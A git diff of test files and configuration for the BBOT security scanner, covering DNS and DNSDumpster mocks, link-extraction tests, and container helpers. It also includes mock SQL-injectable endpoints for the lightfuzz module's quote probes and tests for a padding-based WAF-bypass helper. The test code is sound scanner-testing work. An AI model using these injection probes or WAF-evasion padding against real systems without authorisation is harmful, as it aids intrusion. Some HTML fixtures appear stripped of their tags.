"""{"name":"_ldap._tcp.gc._msdcs.test.api.blacklanternsecurity.com.","type":"SRV","class":"IN","status":"NOERROR","rx_ts":1713974911725326170,"data":{"answers":[{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.test.api.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."},{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."}]},"flags":["rd","ra"],"resolver":"195.226.187.130:53","proto":"UDP"}""" - if "_ldap._tcp.gc._msdcs.www.test.api.blacklanternsecurity.com" in _input: - yield """{"name":"_ldap._tcp.gc._msdcs.www.test.api.blacklanternsecurity.com.","type":"SRV","class":"IN","status":"NOERROR","rx_ts":1713974911725326170,"data":{"answers":[{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.www.test.api.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."},{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."}]},"flags":["rd","ra"],"resolver":"195.226.187.130:53","proto":"UDP"}""" - if "_ldap._tcp.gc._msdcs.media.www.test.api.blacklanternsecurity.com" in _input: - yield """{"name":"_ldap._tcp.gc._msdcs.www.test.api.blacklanternsecurity.com.","type":"SRV","class":"IN","status":"NOERROR","rx_ts":1713974911725326170,"data":{"answers":[{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.media.www.test.api.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."},{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."}]},"flags":["rd","ra"],"resolver":"195.226.187.130:53","proto":"UDP"}""" - else: - async for _ in old_run_live(*command, check=False, text=True, **kwargs): - yield _ - - module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", new_run_live) - await module_test.mock_dns( { "blacklanternsecurity.com": {"A": ["1.2.3.4"]}, diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsdumpster.py b/bbot/test/test_step_2/module_tests/test_module_dnsdumpster.py index 5de39cb0b6..432ea0e5f8 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsdumpster.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsdumpster.py @@ -1,15 +1,99 @@ +import json + from .base import ModuleTestBase +BASE_URL = "https://api.dnsdumpster.com/domain/blacklanternsecurity.com" + + +def page(hosts, total=None, txt=()): + """A response page shaped like the live API's, with `total_a_recs` defaulting to this page's A records.""" + records = [{"host": h, "ips": [{"ip": "127.0.0.1"}]} for h in hosts] + body = { + "a": records, + "cname": [], + "mx": [{"host": "0 mail.blacklanternsecurity.com", "ips": []}], + "ns": [], + "txt": list(txt), + "total_a_recs": len(records) if total is None else total, + } + return json.dumps(body).encode() + class TestDNSDumpster(ModuleTestBase): + """Pages are requested until every A record in `total_a_recs` has been seen.""" + + config_overrides = {"modules": {"dnsdumpster": {"api_key": "asdf"}}} + + async def setup_after_prep(self, module_test): + module_test.blasthttp_mock.add_response(url=BASE_URL, content=page(["asdf.blacklanternsecurity.com"], total=2)) + module_test.blasthttp_mock.add_response( + url=f"{BASE_URL}?page=2", content=page(["qwerty.blacklanternsecurity.com"], total=2) + ) + module_test.blasthttp_mock.add_response( + url=f"{BASE_URL}?page=3", content=page(["unrequested.blacklanternsecurity.com"], total=2) + ) + + def check(self, module_test, events): + assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" + assert any(e.data == "qwerty.blacklanternsecurity.com" for e in events), "Failed to paginate" + assert not any(e.data == "unrequested.blacklanternsecurity.com" for e in events), "Paged past the total" + + +class TestDNSDumpsterSinglePage(ModuleTestBase): + """A first page holding every A record must not trigger a second request. Hostnames outside the host fields are kept.""" + + modules_overrides = ["dnsdumpster"] + config_overrides = {"modules": {"dnsdumpster": {"api_key": "asdf"}}} + + async def setup_after_prep(self, module_test): + module_test.blasthttp_mock.add_response( + url=BASE_URL, + content=page(["asdf.blacklanternsecurity.com"], txt=["v=spf1 include:spf.blacklanternsecurity.com ~all"]), + ) + module_test.blasthttp_mock.add_response( + url=f"{BASE_URL}?page=2", content=page(["unrequested.blacklanternsecurity.com"]) + ) + + def check(self, module_test, events): + assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" + assert any(e.data == "spf.blacklanternsecurity.com" for e in events), "Failed to extract hostname from TXT" + assert any(e.data == "mail.blacklanternsecurity.com" for e in events), "Failed to extract MX host" + assert not any(e.data == "unrequested.blacklanternsecurity.com" for e in events), "Requested a second page" + + +class TestDNSDumpsterNoTotal(ModuleTestBase): + """Without `total_a_recs` there is no way to know more pages exist, so only the first is requested.""" + + modules_overrides = ["dnsdumpster"] + config_overrides = {"modules": {"dnsdumpster": {"api_key": "asdf"}}} + + async def setup_after_prep(self, module_test): + body = json.loads(page(["asdf.blacklanternsecurity.com"])) + del body["total_a_recs"] + module_test.blasthttp_mock.add_response(url=BASE_URL, content=json.dumps(body).encode()) + module_test.blasthttp_mock.add_response( + url=f"{BASE_URL}?page=2", content=page(["unrequested.blacklanternsecurity.com"]) + ) + + def check(self, module_test, events): + assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" + assert not any(e.data == "unrequested.blacklanternsecurity.com" for e in events), "Requested a second page" + + +class TestDNSDumpsterFreeTier(ModuleTestBase): + """A free key gets 401 when it asks for page 2; results so far are still kept.""" + + modules_overrides = ["dnsdumpster"] + config_overrides = {"modules": {"dnsdumpster": {"api_key": "asdf"}}} + async def setup_after_prep(self, module_test): module_test.blasthttp_mock.add_response( - url="https://dnsdumpster.com", - content=b"""
    """, + url=BASE_URL, content=page(["asdf.blacklanternsecurity.com"], total=200) ) module_test.blasthttp_mock.add_response( - url="https://api.dnsdumpster.com/htmld/", - content=b"asdf.blacklanternsecurity.com", + url=f"{BASE_URL}?page=2", + status_code=401, + content=b'{"error":"pagination requires plus or max membership"}', ) def check(self, module_test, events): diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py index 95cf083adc..1b91210c28 100644 --- a/bbot/test/test_step_2/module_tests/test_module_elastic.py +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -1,5 +1,4 @@ import json -import asyncio import ssl from urllib.request import urlopen, Request from urllib.error import URLError @@ -37,12 +36,8 @@ class TestElastic(ModuleTestBase): async def setup_before_prep(self, module_test): # Start Elasticsearch container - await asyncio.create_subprocess_exec( - "docker", - "run", - "--name", + await self.start_container( "bbot-test-elastic", - "--rm", "-e", "ELASTIC_PASSWORD=bbotislife", "-e", @@ -53,7 +48,6 @@ async def setup_before_prep(self, module_test): "cluster.routing.allocation.disk.watermark.flood_stage=98%", "-p", "9200:9200", - "-d", "docker.elastic.co/elasticsearch/elasticsearch:8.16.0", ) @@ -123,7 +117,4 @@ async def check(self, module_test, events): except URLError: pass self.log.verbose("Deleted documents from index") - process = await asyncio.create_subprocess_exec( - "docker", "stop", "bbot-test-elastic", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE - ) - await process.communicate() + await self.stop_container("bbot-test-elastic") diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 8f677ea56b..8ca6620dd4 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -6,11 +6,46 @@ from bbot.modules.internal.excavate import ExcavateRule, split_yara_rules from pathlib import Path +import threading import time import yara from bbot.test.worker import HTTPSERVER_PORT, HTTPSERVER_URL, LOCALHOST_URL +class TestExcavateHyphenatedHostnames(ModuleTestBase): + targets = [f"{HTTPSERVER_URL}/", "test.notreal"] + modules_overrides = ["excavate", "http"] + + async def setup_before_prep(self, module_test): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": "

    dev-api.test.notreal and my-app-test.test.notreal

    "}, + ) + + async def setup_after_prep(self, module_test): + # every name resolves, so a made-up one would survive to the output + await module_test.mock_dns( + { + h: {"A": ["127.0.0.1"]} + for h in ( + "test.notreal", + "dev-api.test.notreal", + "api.test.notreal", + "my-app-test.test.notreal", + "app-test.test.notreal", + "test.test.notreal", + ) + } + ) + + def check(self, module_test, events): + hostnames = {e.data for e in events if e.type == "DNS_NAME" and str(e.module) == "excavate"} + assert {"dev-api.test.notreal", "my-app-test.test.notreal"} <= hostnames + for fragment in ("api.test.notreal", "app-test.test.notreal", "test.test.notreal"): + assert fragment not in hostnames, f"excavate made up {fragment} from part of a hyphenated name" + assert not any("DNS_NAME -" in e.discovery_context for e in events) + + class TestExcavate(ModuleTestBase): targets = [f"{HTTPSERVER_URL}/", "test.notreal", f"{HTTPSERVER_URL}/subdir/links.html"] modules_overrides = ["excavate", "http"] @@ -932,6 +967,130 @@ def check(self, module_test, events): assert parameter_extraction_found, "Excavate failed to extract parameter after traversal" +class TestExcavateBaseHref(ModuleTestBase): + """Relative references resolve against , not the page URL; a form with no action still uses the page URL.""" + + targets = [f"{HTTPSERVER_URL}/app/sub/"] + modules_overrides = ["http", "excavate", "hunt"] + + base_href_html = """ + + + + + + + page + +
    + + +""" + + async def setup_after_prep(self, module_test): + module_test.httpserver.expect_request("/app/sub/").respond_with_data( + self.base_href_html, headers={"Content-Type": "text/html"} + ) + + def check(self, module_test, events): + urls = {e.url for e in events if e.type == "URL_UNVERIFIED"} + assert f"{HTTPSERVER_URL}/app/page.html" in urls + assert not any("/app/sub/app/" in u for u in urls), f"Resolved against page URL instead of : {urls}" + + params = {e.data["name"]: e.data["url"] for e in events if e.type == "WEB_PARAMETER"} + assert params.get("ver") == f"{HTTPSERVER_URL}/app/theme/getui", params + assert params.get("q") == f"{HTTPSERVER_URL}/app/search", params + assert params.get("token") == f"{HTTPSERVER_URL}/app/sub/", params + + +class TestExcavateFormActionRelative(ModuleTestBase): + """Form actions on a nested page resolve against the page's directory, the same way a browser submits them.""" + + targets = [f"{HTTPSERVER_URL}/app/sub/page"] + modules_overrides = ["http", "excavate", "hunt"] + + base_tag = "" + expected = { + "dot_post": "/app/sub/dotpost", + "dot_get": "/app/sub/dotget", + "up_post": "/app/uppost", + "bare_post": "/app/sub/barepost", + "root_post": "/rootpost", + } + + async def setup_after_prep(self, module_test): + html = f""" + +{self.base_tag} + +
    +
    +
    +
    +
    + + +""" + module_test.httpserver.expect_request("/app/sub/page").respond_with_data( + html, headers={"Content-Type": "text/html"} + ) + + def check(self, module_test, events): + params = {e.data["name"]: e.data["url"] for e in events if e.type == "WEB_PARAMETER"} + for name, path in self.expected.items(): + assert params.get(name) == f"{HTTPSERVER_URL}{path}", f"{name}: {params}" + + +class TestExcavateFormActionRelativeBaseHref(TestExcavateFormActionRelative): + """With , form actions resolve against the base instead of the page.""" + + base_tag = '' + expected = { + "dot_post": "/other/dir/dotpost", + "dot_get": "/other/dir/dotget", + "up_post": "/other/uppost", + "bare_post": "/other/dir/barepost", + "root_post": "/rootpost", + } + + +class TestExcavateFormActionRelativeNonHttpBaseHref(TestExcavateFormActionRelative): + """A non-http is ignored, so form actions resolve against the page.""" + + base_tag = '' + + +class TestExcavateParameterExtractionRawText(ModuleTestBase): + """RAW_TEXT has no URL: absolute endpoints are still extracted, relative ones are skipped, and the rest of the event is still processed.""" + + class DummyModule(BaseModule): + watched_events = ["URL"] + _name = "dummy_module" + + async def handle_event(self, event): + raw_text = ( + f'a\n' + 'r\n' + f"{HTTPSERVER_URL}/fromtext" + ) + await self.emit_event(raw_text, "RAW_TEXT", parent=event) + + targets = [f"{HTTPSERVER_URL}/"] + modules_overrides = ["http", "excavate", "hunt"] + + async def setup_after_prep(self, module_test): + module_test.scan.modules["dummy_module"] = self.DummyModule(module_test.scan) + module_test.httpserver.expect_request("/").respond_with_data("hi") + + def check(self, module_test, events): + raw_text_children = [e for e in events if getattr(e.parent, "type", "") == "RAW_TEXT"] + params = {e.data["name"]: e.data["url"] for e in raw_text_children if e.type == "WEB_PARAMETER"} + assert params.get("abs_param") == f"{HTTPSERVER_URL}/absolute", params + assert "rel_param" not in params, params + urls = {e.url for e in raw_text_children if e.type == "URL_UNVERIFIED"} + assert f"{HTTPSERVER_URL}/fromtext" in urls, urls + + class TestExcavateParameterExtraction_getparam_novalue(TestExcavateParameterExtraction_getparam): getparam_extract_html = """ """ - if "search=" in qs: - value = qs.split("=")[1] - if "&" in value: - value = value.split("&")[0] - - sql_block_normal = f""" -
    -

    0 search results for '{unquote(value)}'

    -
    -
    - """ - - sql_block_error = """ -
    -

    Found error in SQL query

    -
    -
    - """ - if value.endswith("'"): - if value.endswith("''"): - return Response(sql_block_normal, status=200) - return Response(sql_block_error, status=500) - return Response(parameter_block, status=200) + def request_handler(self, request): + # only the converted GETPARAM pass reaches a query here; the POST pass is disabled + return sqli_injectable_response(request.args.get("search"), self.parameter_block) async def setup_after_prep(self, module_test): module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( @@ -3872,8 +4396,7 @@ class Test_Lightfuzz_try_get_as_post(ModuleTestBase): }, } - def request_handler(self, request): - parameter_block = """ + parameter_block = """ """ - if request.method == "POST" and "search" in request.form.keys(): - value = request.form["search"] - - sql_block_normal = f""" -
    -

    0 search results for '{unquote(value)}'

    -
    -
    - """ - - sql_block_error = """ -
    -

    Found error in SQL query

    -
    -
    - """ - if value.endswith("'"): - if value.endswith("''"): - return Response(sql_block_normal, status=200) - return Response(sql_block_error, status=500) - return Response(parameter_block, status=200) + def request_handler(self, request): + # only the converted POSTPARAM pass reaches a query here + value = request.form.get("search") if request.method == "POST" else None + return sqli_injectable_response(value, self.parameter_block) async def setup_after_prep(self, module_test): module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( @@ -4148,6 +4654,85 @@ def check(self, module_test, events): ) +def _sqli_code_change_findings(events): + return [ + e.data["description"] for e in events if e.type == "FINDING" and "Code Change" in e.data.get("description", "") + ] + + +# SQLi negative test: the textbook 200->500->200 status flip on a parameter that never reaches a +# query. TRUE and FALSE boolean payloads come back byte-identical, so there is no SQL logic to +# confirm. This is the shape an envelope-wrapped parameter produces when the injected quote +# changes the envelope's structural validity rather than a query's. +class Test_Lightfuzz_sqli_no_boolean_differential_fp(Test_Lightfuzz_sqli): + def request_handler(self, request): + value = request.args.get("search") + if value is None: + return Response(self.parameter_block, status=200) + if value.endswith("'") and not value.endswith("''"): + return Response("

    Bad Request

    ", status=500) + return Response("

    0 results

    ", status=200) + + def check(self, module_test, events): + findings = _sqli_code_change_findings(events) + assert not findings, f"SQLi reported from a status flip with no boolean differential: {findings}" + + +# SQLi negative test: the single-quote probe is blocked by an access-control layer whose block +# page carries no recognizable WAF signature. The transition into 403 is what identifies it. +class Test_Lightfuzz_sqli_unsigned_403_fp(Test_Lightfuzz_sqli): + def request_handler(self, request): + value = request.args.get("search") + if value is None: + return Response(self.parameter_block, status=200) + if value.endswith("'") and not value.endswith("''"): + return Response( + "Forbidden

    Forbidden

    " + "

    Reference: 0aB1cD2e

    ", + status=403, + ) + return Response("

    0 results

    ", status=200) + + def check(self, module_test, events): + findings = _sqli_code_change_findings(events) + assert not findings, f"SQLi reported from a probe blocked with an unsigned 403: {findings}" + + +# SQLi negative test: the status is keyed on the payload's length, not its quoting. A benign +# one-vs-two-character pair reproduces the same status triplet, so the change isn't quote-specific. +class Test_Lightfuzz_sqli_length_keyed_fp(Test_Lightfuzz_sqli): + def request_handler(self, request): + value = request.args.get("search") + if value is None: + return Response(self.parameter_block, status=200) + if len(value) == 11: + return Response("

    Bad Request

    ", status=500) + return Response("

    0 results

    ", status=200) + + def check(self, module_test, events): + findings = _sqli_code_change_findings(events) + assert not findings, f"SQLi reported from a length-keyed status flip: {findings}" + + +# SQLi negative test: the parameter never reaches a query, and the app reflects it HTML-escaped. +# The escaped reflection differs between the TRUE and FALSE boolean payloads, so unless every +# escape spelling is stripped, the reflection itself reads as a boolean differential. +class Test_Lightfuzz_sqli_escaped_reflection_fp(Test_Lightfuzz_sqli): + def request_handler(self, request): + value = request.args.get("search") + if value is None: + return Response(self.parameter_block, status=200) + if value.endswith("'") and not value.endswith("''"): + return Response("

    Bad Request

    ", status=500) + # the Jinja/ASP.NET spelling, deliberately not the one html.escape() produces + reflection = html.escape(value).replace("'", "'") + return Response(f"

    0 results for: {reflection}

    ", status=200) + + def check(self, module_test, events): + findings = _sqli_code_change_findings(events) + assert not findings, f"SQLi reported from an HTML-escaped reflection: {findings}" + + # Verify that POST SQLi findings include additional_params in the description class Test_Lightfuzz_sqli_post_additional_params(ModuleTestBase): targets = [HTTPSERVER_URL] @@ -4161,8 +4746,7 @@ class Test_Lightfuzz_sqli_post_additional_params(ModuleTestBase): }, } - def request_handler(self, request): - parameter_block = """ + parameter_block = """ """ - if "search" in request.form.keys(): - value = request.form["search"] - if value.endswith("'"): - if value.endswith("''"): - return Response("

    normal

    ", status=200) - return Response("

    error

    ", status=500) - return Response("

    results

    ", status=200) - return Response(parameter_block, status=200) + + def request_handler(self, request): + return sqli_injectable_response(request.form.get("search"), self.parameter_block) async def setup_after_prep(self, module_test): module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( @@ -5390,3 +5969,45 @@ def check(self, module_test, events): assert len(web_params_fuzzed) == 0, ( f"lightfuzz should not fuzz wildcard hosts, but processed params: {web_params_fuzzed}" ) + + +class Test_Lightfuzz_baseline_respects_spider_limits(ModuleTestBase): + """A baseline response's URL is a link from another page; it costs a spider hop like any extracted link.""" + + targets = [HTTPSERVER_URL] + modules_overrides = ["http", "lightfuzz", "excavate", "speculate"] + config_overrides = { + "interactsh_disable": True, + "modules": {"lightfuzz": {"enabled_submodules": ["path"]}}, + } + + async def setup_after_prep(self, module_test): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": 't'}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/target"}, + respond_args={"response_data": 'd'}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/deeper"}, + respond_args={"response_data": "deeper"}, + ) + + def check(self, module_test, events): + assert any(e.type == "WEB_PARAMETER" and e.data["name"] == "x" for e in events) + visited = {e.parsed_url.path for e in events if e.type == "URL"} + assert "/target" not in visited and "/deeper" not in visited, f"Visited past spider_distance 0: {visited}" + + +class Test_Lightfuzz_baseline_within_spider_limits(Test_Lightfuzz_baseline_respects_spider_limits): + config_overrides = { + "interactsh_disable": True, + "web": {"spider_distance": 1, "spider_depth": 3}, + "modules": {"lightfuzz": {"enabled_submodules": ["path"]}}, + } + + def check(self, module_test, events): + visited = {e.parsed_url.path for e in events if e.type == "URL"} + assert "/target" in visited, f"Baseline URL within spider_distance was not visited: {visited}" diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index f889dc1204..5e3262141c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -1,5 +1,3 @@ -import asyncio - from .base import ModuleTestBase from bbot.test.worker import wait_for_container @@ -20,19 +18,14 @@ class TestMongo(ModuleTestBase): skip_distro_tests = True async def setup_before_prep(self, module_test): - await asyncio.create_subprocess_exec( - "docker", - "run", - "--name", + await self.start_container( "bbot-test-mongo", - "--rm", "-e", "MONGO_INITDB_ROOT_USERNAME=bbot", "-e", "MONGO_INITDB_ROOT_PASSWORD=bbotislife", "-p", "27017:27017", - "-d", "mongo", ) # Wait for port to be available @@ -147,7 +140,4 @@ async def check(self, module_test, events): await events_collection.delete_many({}) # Close the MongoDB connection await client.aclose() - process = await asyncio.create_subprocess_exec( - "docker", "stop", "bbot-test-mongo", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE - ) - await process.communicate() + await self.stop_container("bbot-test-mongo") diff --git a/bbot/test/test_step_2/module_tests/test_module_mysql.py b/bbot/test/test_step_2/module_tests/test_module_mysql.py index de30c58f9f..77a34cee0c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mysql.py +++ b/bbot/test/test_step_2/module_tests/test_module_mysql.py @@ -1,5 +1,3 @@ -import asyncio - from .base import ModuleTestBase @@ -8,31 +6,20 @@ class TestMySQL(ModuleTestBase): skip_distro_tests = True async def setup_before_prep(self, module_test): - process = await asyncio.create_subprocess_exec( - "docker", - "run", - "--name", + await self.start_container( "bbot-test-mysql", - "--rm", "-e", "MYSQL_ROOT_PASSWORD=bbotislife", "-e", "MYSQL_DATABASE=bbot", "-p", "3306:3306", - "-d", "mysql", - stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, ) - stdout, stderr = await process.communicate() # wait for the container to start await self.wait_for_port_open(3306) - if process.returncode != 0: - self.log.error(f"Failed to start MySQL server: {stderr.decode()}") - async def check(self, module_test, events): import aiomysql @@ -54,10 +41,4 @@ async def check(self, module_test, events): assert len(targets) == 1, "No targets found in MySQL database" finally: conn.close() - process = await asyncio.create_subprocess_exec( - "docker", "stop", "bbot-test-mysql", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE - ) - stdout, stderr = await process.communicate() - - if process.returncode != 0: - raise Exception(f"Failed to stop MySQL server: {stderr.decode()}") + await self.stop_container("bbot-test-mysql") diff --git a/bbot/test/test_step_2/module_tests/test_module_nats.py b/bbot/test/test_step_2/module_tests/test_module_nats.py index 41ae021cac..9d3e8fba68 100644 --- a/bbot/test/test_step_2/module_tests/test_module_nats.py +++ b/bbot/test/test_step_2/module_tests/test_module_nats.py @@ -1,5 +1,4 @@ import json -import asyncio from contextlib import suppress from .base import ModuleTestBase @@ -18,9 +17,7 @@ class TestNats(ModuleTestBase): async def setup_before_prep(self, module_test): # Start NATS server - await asyncio.create_subprocess_exec( - "docker", "run", "-d", "--rm", "--name", "bbot-test-nats", "-p", "4222:4222", "nats:latest" - ) + await self.start_container("bbot-test-nats", "-p", "4222:4222", "nats:latest") # Wait for NATS to be ready by checking the port await self.wait_for_port_open(4222) @@ -61,7 +58,4 @@ async def check(self, module_test, events): await self.nc.drain() await self.nc.close() # Stop NATS server container - process = await asyncio.create_subprocess_exec( - "docker", "stop", "bbot-test-nats", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE - ) - await process.communicate() + await self.stop_container("bbot-test-nats") diff --git a/bbot/test/test_step_2/module_tests/test_module_neo4j.py b/bbot/test/test_step_2/module_tests/test_module_neo4j.py index be395206d3..27d00b0379 100644 --- a/bbot/test/test_step_2/module_tests/test_module_neo4j.py +++ b/bbot/test/test_step_2/module_tests/test_module_neo4j.py @@ -5,13 +5,14 @@ class TestNeo4j(ModuleTestBase): config_overrides = {"modules": {"neo4j": {"uri": "bolt://127.0.0.1:11111"}}} async def setup_after_prep(self, module_test): - # install neo4j - deps_pip = module_test.preloaded["neo4j"]["deps"]["pip"] - await module_test.scan.helpers.depsinstaller.pip_install(deps_pip) - self.neo4j_used = False async def setup_before_prep(self, module_test): + # monkeypatching neo4j below imports it, so install it first rather than + # relying on another test in the session having already pulled it in + deps_pip = module_test.preloaded["neo4j"]["deps"]["pip"] + await module_test.scan.helpers.depsinstaller.pip_install(deps_pip) + class MockResult: async def data(s): self.neo4j_used = True diff --git a/bbot/test/test_step_2/module_tests/test_module_nowafpls.py b/bbot/test/test_step_2/module_tests/test_module_nowafpls.py new file mode 100644 index 0000000000..3f1a88a2b8 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_nowafpls.py @@ -0,0 +1,301 @@ +from blasthttp.mock import MockResponse + +from bbot.test.mock_blasthttp import TimeoutException + +from .base import ModuleTestBase +from bbot.modules.base import BaseModule +from bbot.core.helpers.nowafpls import BypassResult + + +def pad_len(body: bytes) -> int: + """Length of the junk pad in a form-encoded nowafpls body, or 0 if unpadded.""" + prefix = b"__nowafpls_pad=" + if not body.startswith(prefix): + return 0 + return len(body[len(prefix) :].split(b"&", 1)[0]) + + +def probe_results(module_test): + """The memoized BypassResult for each host the helper probed.""" + return [t.result() for t in module_test.scan.helpers.nowafpls._per_host.values() if t.done()] + + +class TestNowafpls(ModuleTestBase): + targets = ["nowafpls.test"] + modules_overrides = ["nowafpls"] + config_overrides = {"web": {"nowafpls_padding_sizes": [1024]}} + + class DummyModule(BaseModule): + watched_events = ["DNS_NAME"] + _name = "dummy_module" + + async def handle_event(self, event): + if event.data != "nowafpls.test": + return + url_event = self.scan.make_event( + "http://nowafpls.test/", + "URL", + parent=event, + tags=["waf", "cloudflare", "in-scope", "status-200"], + ) + if url_event is not None: + await self.emit_event(url_event) + + async def setup_after_prep(self, module_test): + await module_test.mock_dns({"nowafpls.test": {"A": ["127.0.0.1"]}}) + + module_test.scan.modules["dummy_module"] = self.DummyModule(module_test.scan) + + # Response model for the mocked host: + # * benign body ("q=hello") -> baseline app response + # * unpadded malicious ("q=" # Maximum HTTP requests per second (0 = unlimited) # Applies globally across all blasthttp consumers (http probing, web brute, etc.) http_rate_limit: 0 @@ -225,9 +250,6 @@ deps: ### ADVANCED OPTIONS ### -# Load BBOT modules from these custom paths -module_dirs: [] - # maximum runtime in seconds for each module's handle_event() is 60 minutes # when the timeout is reached, the offending handle_event() will be cancelled and the module will move on to the next event module_handle_event_timeout: 3600 @@ -251,6 +273,21 @@ python: True url_querystring_remove: True # When query string is retained, by default collapse parameter values down to a single value per parameter url_querystring_collapse: True +# Reject URLs whose path repeats the same path parameter this many times (e.g. a session id appended on every redirect) +url_max_path_param_repeats: 10 + +# Drop open ports and URLs on CDN/WAF hosts unless the port is allowed or was explicitly targeted +# CDN edges answer on many ports (e.g. Cloudflare's 2052-2096, 8080, 8443) that rarely lead anywhere useful +cdn_port_filter: + enabled: true + # hosts with any of these tags are considered CDN/WAF hosts + tags: + - cdn + - waf + # ports that are still allowed on CDN/WAF hosts + allowed_ports: + - 80 + - 443 # Completely ignore URLs with these extensions url_extension_blacklist: @@ -443,7 +480,7 @@ In addition to the stated options for each module, the following universal optio | Config Option | Type | Description | Default | |--------------------------------------------------------|------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | modules.baddns.custom_nameservers | list[str] | Force BadDNS to use a list of custom nameservers | [] | -| modules.baddns.enabled_submodules | list[str] | A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only | [] | +| modules.baddns.enabled_submodules | list[str] | A list of submodules to enable. Empty list (default) enables CNAME, MX, TXT and DELEGATION Only | [] | | modules.baddns.min_confidence | ConfidenceLiteral | Minimum confidence to emit | MEDIUM | | modules.baddns.min_severity | SeverityLiteral | Minimum severity to emit | LOW | | modules.baddns_direct.custom_nameservers | list | Force BadDNS to use a list of custom nameservers | [] | @@ -465,11 +502,12 @@ In addition to the stated options for each module, the following universal optio | modules.dnsbrute_mutations.max_mutations | int | Maximum number of target-specific mutations to try per subdomain | 100 | | modules.dnscommonsrv.max_depth | int | The maximum subdomain depth to brute-force SRV records | 2 | | modules.dnscommonsrv.recursive_mutations | bool | If True, brute-force SRV records on hosts discovered by dnsbrute_mutations. Default False skips them. | False | +| modules.favicon.signatures_url | str | URL of the nuclei favicon-detect template to load favicon signatures from | https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/technologies/favicon-detect.yaml | | modules.filedownload.extensions | list[str] | File extensions to download | ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'] | | modules.filedownload.max_filesize | str | Cancel download if filesize is greater than this size | 10MB | | modules.filedownload.output_folder | str | Folder to download files to. If not specified, downloaded files will be deleted when the scan completes, to minimize disk usage. | | | modules.fingerprintx.skip_common_web | bool | Skip common web ports such as 80, 443, 8080, 8443, etc. | True | -| modules.fingerprintx.version | str | fingerprintx version | 1.1.4 | +| modules.fingerprintx.version | VersionStr | fingerprintx version | 1.1.4 | | modules.generic_ssrf.skip_dns_interaction | bool | Do not report DNS interactions (only HTTP interaction) | False | | modules.gitlab_com.api_key | str | list[str] | GitLab access token (for gitlab.com/org only) | | | modules.gitlab_onprem.api_key | str | list[str] | GitLab access token (for self-hosted instances only) | | @@ -481,7 +519,7 @@ In addition to the stated options for each module, the following universal optio | modules.gowitness.social | bool | Whether to screenshot social media webpages | False | | modules.gowitness.threads | int | How many gowitness threads to spawn (default is number of CPUs x 2) | 0 | | modules.gowitness.timeout | int | Preflight check timeout | 10 | -| modules.gowitness.version | str | Gowitness version | 3.1.1 | +| modules.gowitness.version | VersionStr | Gowitness version | 3.1.1 | | modules.graphql_introspection.graphql_endpoint_urls | list[str] | List of GraphQL endpoint to suffix to the target URL | ['/', '/graphql', '/v1/graphql'] | | modules.graphql_introspection.output_folder | str 